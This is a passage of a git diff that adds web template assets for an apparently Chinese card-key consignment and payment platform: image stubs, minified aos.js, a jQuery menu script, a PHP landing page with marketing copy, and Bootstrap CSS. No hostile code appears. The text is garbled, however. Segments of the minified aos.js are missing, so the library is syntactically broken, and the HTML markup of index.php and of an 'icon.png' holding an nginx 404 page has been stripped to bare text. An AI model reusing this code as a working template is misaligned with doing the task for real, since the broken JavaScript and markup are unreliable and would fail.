49px; + color: #435880; + border-radius: 5px; + border: solid 1px #e5e5e5; +} + + diff --git a/template/index2/assets/images/32px.png b/template/index2/assets/images/32px.png new file mode 100644 index 0000000..ac74418 Binary files /dev/null and b/template/index2/assets/images/32px.png differ diff --git a/template/index2/assets/images/backg1.png b/template/index2/assets/images/backg1.png new file mode 100644 index 0000000..7da729a Binary files /dev/null and b/template/index2/assets/images/backg1.png differ diff --git a/template/index2/assets/images/banner.png b/template/index2/assets/images/banner.png new file mode 100644 index 0000000..67ebd23 Binary files /dev/null and b/template/index2/assets/images/banner.png differ diff --git a/template/index2/assets/images/fticon01.png b/template/index2/assets/images/fticon01.png new file mode 100644 index 0000000..f5adfb8 Binary files /dev/null and b/template/index2/assets/images/fticon01.png differ diff --git a/template/index2/assets/images/fticon02.png b/template/index2/assets/images/fticon02.png new file mode 100644 index 0000000..89e9975 Binary files /dev/null and b/template/index2/assets/images/fticon02.png differ diff --git a/template/index2/assets/images/fticon03.png b/template/index2/assets/images/fticon03.png new file mode 100644 index 0000000..82b8f81 Binary files /dev/null and b/template/index2/assets/images/fticon03.png differ diff --git a/template/index2/assets/images/fticon04.png b/template/index2/assets/images/fticon04.png new file mode 100644 index 0000000..7cdaac2 Binary files /dev/null and b/template/index2/assets/images/fticon04.png differ diff --git a/template/index2/assets/images/icon-ext.png b/template/index2/assets/images/icon-ext.png new file mode 100644 index 0000000..bbbb669 Binary files /dev/null and b/template/index2/assets/images/icon-ext.png differ diff --git a/template/index2/assets/images/icon.png b/template/index2/assets/images/icon.png new file mode 100644 index 0000000..16acbbf --- /dev/null +++ b/template/index2/assets/images/icon.png @@ -0,0 +1,13 @@ + +404 Not Found + +

                                  404 Not Found

                                  +
                                  nginx
                                  + + + + + + + + diff --git a/template/index2/assets/images/loading-0.gif b/template/index2/assets/images/loading-0.gif new file mode 100644 index 0000000..6f3c953 Binary files /dev/null and b/template/index2/assets/images/loading-0.gif differ diff --git a/template/index2/assets/images/loading-1.gif b/template/index2/assets/images/loading-1.gif new file mode 100644 index 0000000..db3a483 Binary files /dev/null and b/template/index2/assets/images/loading-1.gif differ diff --git a/template/index2/assets/images/loading-2.gif b/template/index2/assets/images/loading-2.gif new file mode 100644 index 0000000..5bb90fd Binary files /dev/null and b/template/index2/assets/images/loading-2.gif differ diff --git a/template/index2/assets/images/loading.gif b/template/index2/assets/images/loading.gif new file mode 100644 index 0000000..6e5bace Binary files /dev/null and b/template/index2/assets/images/loading.gif differ diff --git a/template/index2/assets/images/logi01.png b/template/index2/assets/images/logi01.png new file mode 100644 index 0000000..01b025f Binary files /dev/null and b/template/index2/assets/images/logi01.png differ diff --git a/template/index2/assets/images/logi011.png b/template/index2/assets/images/logi011.png new file mode 100644 index 0000000..ae9dca1 Binary files /dev/null and b/template/index2/assets/images/logi011.png differ diff --git a/template/index2/assets/images/logi02.png b/template/index2/assets/images/logi02.png new file mode 100644 index 0000000..c2c21f7 Binary files /dev/null and b/template/index2/assets/images/logi02.png differ diff --git a/template/index2/assets/images/logi03.png b/template/index2/assets/images/logi03.png new file mode 100644 index 0000000..a2d7c96 Binary files /dev/null and b/template/index2/assets/images/logi03.png differ diff --git a/template/index2/assets/images/logi04.png b/template/index2/assets/images/logi04.png new file mode 100644 index 0000000..34c88f4 Binary files /dev/null and b/template/index2/assets/images/logi04.png differ diff --git a/template/index2/assets/images/logi05.png b/template/index2/assets/images/logi05.png new file mode 100644 index 0000000..37a99d5 Binary files /dev/null and b/template/index2/assets/images/logi05.png differ diff --git a/template/index2/assets/images/logi06.png b/template/index2/assets/images/logi06.png new file mode 100644 index 0000000..0e06743 Binary files /dev/null and b/template/index2/assets/images/logi06.png differ diff --git a/template/index2/assets/images/logi07.png b/template/index2/assets/images/logi07.png new file mode 100644 index 0000000..e755c6d Binary files /dev/null and b/template/index2/assets/images/logi07.png differ diff --git a/template/index2/assets/images/top.png b/template/index2/assets/images/top.png new file mode 100644 index 0000000..90b61a2 Binary files /dev/null and b/template/index2/assets/images/top.png differ diff --git a/template/index2/assets/images/validator_default.png b/template/index2/assets/images/validator_default.png new file mode 100644 index 0000000..7bf05e7 Binary files /dev/null and b/template/index2/assets/images/validator_default.png differ diff --git a/template/index2/assets/images/validator_simple.png b/template/index2/assets/images/validator_simple.png new file mode 100644 index 0000000..9db57bb Binary files /dev/null and b/template/index2/assets/images/validator_simple.png differ diff --git a/template/index2/assets/js/aos.js b/template/index2/assets/js/aos.js new file mode 100644 index 0000000..abb0e99 --- /dev/null +++ b/template/index2/assets/js/aos.js @@ -0,0 +1,2 @@ +!function t(e,n,o){function r(i,c){if(!n[i]){if(!e[i]){var s="function"==typeof require&&require;if(!c&&s)return s(i,!0);if(a)return a(i,!0);var u=new Error("Cannot find module '"+i+"'");throw u.code="MODULE_NOT_FOUND",u}var l=n[i]={exports:{}};e[i][0].call(l.exports,function(t){var n=e[i][1][t];return r(n?n:t)},l,l.exports,t,e,n,o)}return n[i].exports}for(var a="function"==typeof require&&require,i=0;i2?n[i-2]:void 0,s=i>2?n[2]:void 0,u=i>1?n[i-1]:void 0;for("function"==typeof c?(c=o(c,u,5),i-=2):(c="function"==typeof u?u:void 0,i-=c?1:0),s&&r(n[0],n[1],s)&&(c=3>i?void 0:c,i=1);++a-1&&t%1==0&&e>t}function a(t,e,n){if(!c(n))return!1;var a=typeof e;if("number"==a?o(n)&&r(e,n.length):"string"==a&&e in n){var i=n[e];return t===t?t===i:i!==i}return!1}function i(t){return"number"==typeof t&&t>-1&&t%1==0&&u>=t}function c(t){var e=typeof t;return!!t&&("object"==e||"function"==e)}var s=/^\d+$/,u=9007199254740991,l=n("length");e.exports=a},{}],7:[function(t,e){function n(t,e,n){for(var o=-1,r=a(e),i=r.length;++o=t||t>e?c(g,d):v=setTimeout(u,t)}function l(){c(k,v)}function f(){if(p=arguments,b=s(),h=this,g=k&&(v||!x),w===!1)var n=x&&!v;else{d||x||(y=b);var o=w-(b-y),r=0>=o||o>w;r?(d&&(d=clearTimeout(d)),y=b,m=t.apply(h,p)):d||(d=setTimeout(l,o))}return r&&v?v=clearTimeout(v):v||e===w||(v=setTimeout(u,e)),n&&(r=!0,m=t.apply(h,p)),!r||v||d||(p=h=void 0),m}var p,d,m,b,h,v,g,y=0,w=!1,k=!0;if("function"!=typeof t)throw new TypeError(a);if(e=0>e?0:+e||0,n===!0){var x=!0;k=!1}else o(n)&&(x=!!n.leading,w="maxWait"in n&&i(+n.maxWait||0,e),k="trailing"in n?!!n.trailing:k);return f.cancel=r,f}function o(t){var e=typeof t;return!!t&&("object"==e||"function"==e)}var r=t("lodash._getnative"),a="Expected a function",i=Math.max,c=r(Date,"now"),s=c||function(){return(new Date).getTime()};e.exports=n},{"lodash._getnative":5}],9:[function(t,e){(function(t){function n(t){return function(e){return null==e?void 0:e[t]}}function o(t){return a(t)&&b.call(t,"callee")&&(!v.call(t,"callee")||h.call(t)==f)}function r(t){return null!=t&&!("function"==typeof t&&i(t))&&c(g(t))}function a(t){return u(t)&&r(t)}function i(t){var e=s(t)?h.call(t):"";return e==p||e==d}function c(t){return"number"==typeof t&&t>-1&&t%1==0&&l>=t}function s(t){var e=typeof t;return!!t&&("object"==e||"function"==e)}function u(t){return!!t&&"object"==typeof t}var l=9007199254740991,f="[object Arguments]",p="[object Function]",d="[object GeneratorFunction]",m=t.Object.prototype,b=m.hasOwnProperty,h=m.toString,v=m.propertyIsEnumerable,g=n("length");e.exports=o}).call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],10:[function(t,e){function n(t){return!!t&&"object"==typeof t}function o(t,e){var n=null==t?void 0:t[e];return c(n)?n:void 0}function r(t){return"number"==typeof t&&t>-1&&t%1==0&&v>=t}function a(t){return i(t)&&m.call(t)==u}function i(t){var e=typeof t;return!!t&&("object"==e||"function"==e)}function c(t){return null==t?!1:a(t)?b.test(p.call(t)):n(t)&&l.test(t)}var s="[object Array]",u="[object Function]",l=/^\[object .+?Constructor\]$/,f=Object.prototype,p=Function.prototype.toString,d=f.hasOwnProperty,m=f.toString,b=RegExp("^"+p.call(d).replace(/[\\^$.*+?()[\]{}|]/g,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$"),h=o(Array,"isArray"),v=9007199254740991,g=h||function(t){return n(t)&&r(t.length)&&m.call(t)==s};e.exports=g},{}],11:[function(t,e){function n(t){return function(e){return null==e?void 0:e[t]}}function o(t){return null!=t&&a(v(t))}function r(t,e){return t="number"==typeof t||p.test(t)?+t:-1,e=null==e?h:e,t>-1&&t%1==0&&e>t}function a(t){return"number"==typeof t&&t>-1&&t%1==0&&h>=t}function i(t){for(var e=s(t),n=e.length,o=n&&t.length,i=!!o&&a(o)&&(f(t)||l(t)),c=-1,u=[];++c0;++ot.position?t.node.classList.add("aos-animate"):"undefined"!=typeof o&&("false"===o||!n&&"true"!==o)&&t.node.classList.remove("aos-animate")},o=function(t,e){var o=window.pageYOffset,r=window.innerHeight;[].forEach.call(t,function(t){n(t,r+o,e)})};e.exports=o},{}],19:[function(t,e){var n=t("./calculateOffset"),o=function(t,e){return[].forEach.call(t,function(t){t.node.classList.add("aos-init"),t.position=n(t.node,e.offset)}),t};e.exports=o},{"./calculateOffset":15}],20:[function(t,e){var n=function(){var t=["[data-aos]","[data-aos-offset]","[data-aos-easing]","[data-aos-delay]","[data-aos-anchor]","[data-aos-anchor-placement]","[data-aos-once]"],e=t.join(", "),n=document.querySelectorAll(e);[].forEach.call(n,function(e){var n=/^data\-(.+)$/,o=[];[].forEach.call(e.attributes,function(r){if(n.test(r.nodeName)){var a=r.nodeName.match(n)[0],i="["+a+"]",c=r.nodeName.match(n)[1];e.getAttribute(a).length&&-1!==t.indexOf(i)&&(e.setAttribute(c,r.nodeValue),o.push(a))}});for(var r=0;rn;n++){t=a[n],e=i.querySelectorAll(t.selector);for(var r,c=0,s=e.length;s>c;c++)r=e[c],r.ready||(r.ready=!0,t.fn.call(r,r))}}var r,a=[],i=window.document,c=window.MutationObserver||window.WebKitMutationObserver;e.exports=n},{}],23:[function(t,e){var n=function(t){for(var e=0,n=0;t&&!isNaN(t.offsetLeft)&&!isNaN(t.offsetTop);)e+=t.offsetLeft-("BODY"!=t.tagName?t.scrollLeft:0),n+=t.offsetTop-("BODY"!=t.tagName?t.scrollTop:0),t=t.offsetParent;return{top:n,left:e}};e.exports=n},{}]},{},[14]); +//# sourceMappingURL=aos.js.map diff --git a/template/index2/assets/js/main.js b/template/index2/assets/js/main.js new file mode 100644 index 0000000..af9889b --- /dev/null +++ b/template/index2/assets/js/main.js @@ -0,0 +1,47 @@ +$(function(){ + //wap下拉菜单 + $('.hd_nav').click(function(){ + if(!$(this).hasClass('active')){ + $(this).addClass('active'); + $('.wap_nav').fadeIn(200); + }else{ + $(this).removeClass('active'); + $('.wap_nav').fadeOut(100); + } + }); + + //置顶 + var offset = 300,offset_opacity = 1200,scroll_top_duration = 700,$back_to_top = $('.cd-top'); + $(window).scroll(function(){ + ( $(this).scrollTop() > offset ) ? $back_to_top.addClass('cd-is-visible') : $back_to_top.removeClass('cd-is-visible cd-fade-out'); + if( $(this).scrollTop() > offset_opacity ) {$back_to_top.addClass('cd-fade-out');} + }); + $back_to_top.on('click', function(event){event.preventDefault();$('body,html').animate({scrollTop: 0 ,}, scroll_top_duration);}); + + +}); + +//按钮倒计时 +function clickButton(t){ + var obj = $("input[name='zymF']"); + obj.attr("disabled","disabled");/*按钮倒计时*/ + var time = t; + var set=setInterval(function(){ + obj.val(--time+"(s)"); + }, 1000);/*等待时间*/ + setTimeout(function(){ + obj.attr("disabled",false).val("重新获取");/*倒计时*/ + clearInterval(set); + }, 1000*t); +} + + + + + + + + + + + diff --git a/template/index2/assets/picture/indi01.png b/template/index2/assets/picture/indi01.png new file mode 100644 index 0000000..343a924 Binary files /dev/null and b/template/index2/assets/picture/indi01.png differ diff --git a/template/index2/assets/picture/indi02.png b/template/index2/assets/picture/indi02.png new file mode 100644 index 0000000..e728384 Binary files /dev/null and b/template/index2/assets/picture/indi02.png differ diff --git a/template/index2/assets/picture/indi03.png b/template/index2/assets/picture/indi03.png new file mode 100644 index 0000000..de5bb26 Binary files /dev/null and b/template/index2/assets/picture/indi03.png differ diff --git a/template/index2/assets/picture/indi04.png b/template/index2/assets/picture/indi04.png new file mode 100644 index 0000000..38d8754 Binary files /dev/null and b/template/index2/assets/picture/indi04.png differ diff --git a/template/index2/assets/picture/indpay1.jpg b/template/index2/assets/picture/indpay1.jpg new file mode 100644 index 0000000..02119e4 Binary files /dev/null and b/template/index2/assets/picture/indpay1.jpg differ diff --git a/template/index2/assets/picture/indpay2.jpg b/template/index2/assets/picture/indpay2.jpg new file mode 100644 index 0000000..15ddae6 Binary files /dev/null and b/template/index2/assets/picture/indpay2.jpg differ diff --git a/template/index2/assets/picture/indpay3.jpg b/template/index2/assets/picture/indpay3.jpg new file mode 100644 index 0000000..dd5b78f Binary files /dev/null and b/template/index2/assets/picture/indpay3.jpg differ diff --git a/template/index2/assets/picture/indpay4.jpg b/template/index2/assets/picture/indpay4.jpg new file mode 100644 index 0000000..cd35e1a Binary files /dev/null and b/template/index2/assets/picture/indpay4.jpg differ diff --git a/template/index2/assets/picture/indpay5.jpg b/template/index2/assets/picture/indpay5.jpg new file mode 100644 index 0000000..6e2987a Binary files /dev/null and b/template/index2/assets/picture/indpay5.jpg differ diff --git a/template/index2/assets/picture/indpay6.jpg b/template/index2/assets/picture/indpay6.jpg new file mode 100644 index 0000000..ffb855c Binary files /dev/null and b/template/index2/assets/picture/indpay6.jpg differ diff --git a/template/index2/assets/picture/indpic01.png b/template/index2/assets/picture/indpic01.png new file mode 100644 index 0000000..fb7c63e Binary files /dev/null and b/template/index2/assets/picture/indpic01.png differ diff --git a/template/index2/assets/picture/indpic02.png b/template/index2/assets/picture/indpic02.png new file mode 100644 index 0000000..a87594e Binary files /dev/null and b/template/index2/assets/picture/indpic02.png differ diff --git a/template/index2/assets/picture/indpic03.png b/template/index2/assets/picture/indpic03.png new file mode 100644 index 0000000..9743a20 Binary files /dev/null and b/template/index2/assets/picture/indpic03.png differ diff --git a/template/index2/assets/picture/indpic04.png b/template/index2/assets/picture/indpic04.png new file mode 100644 index 0000000..50c4ee5 Binary files /dev/null and b/template/index2/assets/picture/indpic04.png differ diff --git a/template/index2/assets/picture/indpic05.png b/template/index2/assets/picture/indpic05.png new file mode 100644 index 0000000..d183498 Binary files /dev/null and b/template/index2/assets/picture/indpic05.png differ diff --git a/template/index2/assets/picture/indpl01.png b/template/index2/assets/picture/indpl01.png new file mode 100644 index 0000000..14587fb Binary files /dev/null and b/template/index2/assets/picture/indpl01.png differ diff --git a/template/index2/assets/picture/indpl02.png b/template/index2/assets/picture/indpl02.png new file mode 100644 index 0000000..b41bbc9 Binary files /dev/null and b/template/index2/assets/picture/indpl02.png differ diff --git a/template/index2/assets/picture/indpl03.png b/template/index2/assets/picture/indpl03.png new file mode 100644 index 0000000..2e1db0b Binary files /dev/null and b/template/index2/assets/picture/indpl03.png differ diff --git a/template/index2/assets/picture/indpl04.png b/template/index2/assets/picture/indpl04.png new file mode 100644 index 0000000..f476b9c Binary files /dev/null and b/template/index2/assets/picture/indpl04.png differ diff --git a/template/index2/assets/picture/indpl05.png b/template/index2/assets/picture/indpl05.png new file mode 100644 index 0000000..e843b5f Binary files /dev/null and b/template/index2/assets/picture/indpl05.png differ diff --git a/template/index2/assets/picture/indpl06.png b/template/index2/assets/picture/indpl06.png new file mode 100644 index 0000000..39111fb Binary files /dev/null and b/template/index2/assets/picture/indpl06.png differ diff --git a/template/index2/assets/picture/indpl07.png b/template/index2/assets/picture/indpl07.png new file mode 100644 index 0000000..dcc4abc Binary files /dev/null and b/template/index2/assets/picture/indpl07.png differ diff --git a/template/index2/assets/picture/indpl08.png b/template/index2/assets/picture/indpl08.png new file mode 100644 index 0000000..ff0d86f Binary files /dev/null and b/template/index2/assets/picture/indpl08.png differ diff --git a/template/index2/index.php b/template/index2/index.php new file mode 100644 index 0000000..8eae2cc --- /dev/null +++ b/template/index2/index.php @@ -0,0 +1,318 @@ + + + + + + + +<?php echo $conf['title']?> + + + + + + + + + + + + + + +
                                  +
                                  + + +
                                  +
                                  +
                                  +
                                  + + +
                                  +
                                  + +
                                  +

                                  寄售服务项目

                                  + CONSIGNMENT SERVICE ITEMS + +
                                  +
                                  +

                                  电商/优惠卷/折扣卷

                                  +

                                  论坛/邀请码/注册码/积分充值卡

                                  +

                                  企业个人软件/充值码/注册码

                                  +

                                  腾讯/爱奇艺/优酷/视频CDK/游戏CDK

                                  +
                                  +
                                  +
                                  +

                                  渠道

                                  + CHANNEL OF PAYMENT + +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +

                                  平台功能

                                  + PLATFORM FUNCTION + +
                                  +
                                  +
                                  +
                                  01.手续费扣除模式
                                  +
                                  +
                                  A
                                  +
                                  +

                                  模式1.买家承担

                                  买家付款时会连同手续费一并支付 +
                                  +
                                  +
                                  +
                                  B
                                  +
                                  +

                                  模式2.商家承担

                                  手续费在成功付款的订单内扣除 +
                                  +
                                  +
                                  +
                                  + +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  极简使用

                                  七行代码,极速完成,支付接入 简洁的操作界面易于使用

                                  +
                                  +
                                  +
                                  +
                                  灵活便利

                                  产品服务灵活组合 满足企业多元化业务需求

                                  +
                                  +
                                  +
                                  +
                                  大数据

                                  运用交易数据分析功能 了解公司运营状况

                                  +
                                  +
                                  +
                                  +
                                  安全稳定

                                  平台运行于阿里云计算中心 多备份容灾保障

                                  +
                                  +
                                  +
                                  +
                                  不介入资金流

                                  只负责交易处理不参与资金清算 保障您的资金安全

                                  +
                                  +
                                  +
                                  +
                                  安全密码

                                  可自行开关 为你的账户安全保驾护航

                                  +
                                  +
                                  +
                                  +
                                  增值服务

                                  提供金融产品及技术服务 帮助企业整合互联网金融

                                  +
                                  +
                                  +
                                  +
                                  自助服务

                                  同时平台全面提供7*24小时客户服务,保障客户问题随时得到处理解决

                                  +
                                  +
                                  + 更多功能等你来发掘 +
                                  + +
                                  +

                                  核心优势

                                  + CHANNEL OF PAYMENT + +
                                  +
                                  +
                                  +
                                  服务器安全
                                  +

                                  采用群集服务器,防御高,故障率低,无论用户身在何处,均能获得流畅安全可靠的体验

                                  + 立即体验 +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  资金保障
                                  +

                                  商户的商品,全部加密处理,专业运维24小时处理,您的帐户安全将得到充分的保障。

                                  + 立即体验 +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  专属客服
                                  +

                                  专业客服团队,专属客服一对一贴心服务,7*24小时全天候在线为你解答。

                                  + 立即体验 +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  +
                                  费率超低
                                  +

                                  支付渠道直接对接官方,直接去掉中间商的差价,因此我们可以给商户提供更低廉的费率

                                  + 立即体验 +
                                  +
                                  +
                                  +
                                  +
                                  + + +Top + + + + + diff --git a/template/index2/preview.png b/template/index2/preview.png new file mode 100644 index 0000000..76196b3 Binary files /dev/null and b/template/index2/preview.png differ diff --git a/template/index3/assets/css/bootstrap_1107.css b/template/index3/assets/css/bootstrap_1107.css new file mode 100644 index 0000000..7fe5890 --- /dev/null +++ b/template/index3/assets/css/bootstrap_1107.css @@ -0,0 +1 @@ +html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:before,:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;display:inline-block;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:400;line-height:1;color:#777}h1,.h1,h2,.h2,h3,.h3{margin-top:20px;margin-bottom:10px}h1 small,.h1 small,h2 small,.h2 small,h3 small,.h3 small,h1 .small,.h1 .small,h2 .small,.h2 .small,h3 .small,.h3 .small{font-size:65%}h4,.h4,h5,.h5,h6,.h6{margin-top:10px;margin-bottom:10px}h4 small,.h4 small,h5 small,.h5 small,h6 small,.h6 small,h4 .small,.h4 .small,h5 .small,.h5 .small,h6 .small,.h6 .small{font-size:75%}h1,.h1{font-size:36px}h2,.h2{font-size:30px}h3,.h3{font-size:24px}h4,.h4{font-size:18px}h5,.h5{font-size:14px}h6,.h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}small,.small{font-size:85%}mark,.mark{background-color:#fcf8e3;padding:.2em}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:hover,a.text-primary:focus{color:#286090}.text-success{color:#3c763d}a.text-success:hover,a.text-success:focus{color:#2b542c}.text-info{color:#31708f}a.text-info:hover,a.text-info:focus{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:hover,a.text-warning:focus{color:#66512c}.text-danger{color:#a94442}a.text-danger:hover,a.text-danger:focus{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:hover,a.bg-primary:focus{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:hover,a.bg-success:focus{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover,a.bg-info:focus{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover,a.bg-warning:focus{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover,a.bg-danger:focus{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ul,ol{margin-top:0;margin-bottom:10px}ul ul,ol ul,ul ol,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-left:5px;padding-right:5px}dl{margin-top:0;margin-bottom:20px}dt,dd{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote footer:before,blockquote small:before,blockquote .small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0;text-align:right}.blockquote-reverse footer:before,blockquote.pull-right footer:before,.blockquote-reverse small:before,blockquote.pull-right small:before,.blockquote-reverse .small:before,blockquote.pull-right .small:before{content:''}.blockquote-reverse footer:after,blockquote.pull-right footer:after,.blockquote-reverse small:after,blockquote.pull-right small:after,.blockquote-reverse .small:after,blockquote.pull-right .small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}.container{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1200px}}.container-fluid{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px}.row{margin-left:-15px;margin-right:-15px}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12{position:relative;min-height:1px;padding-left:15px;padding-right:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-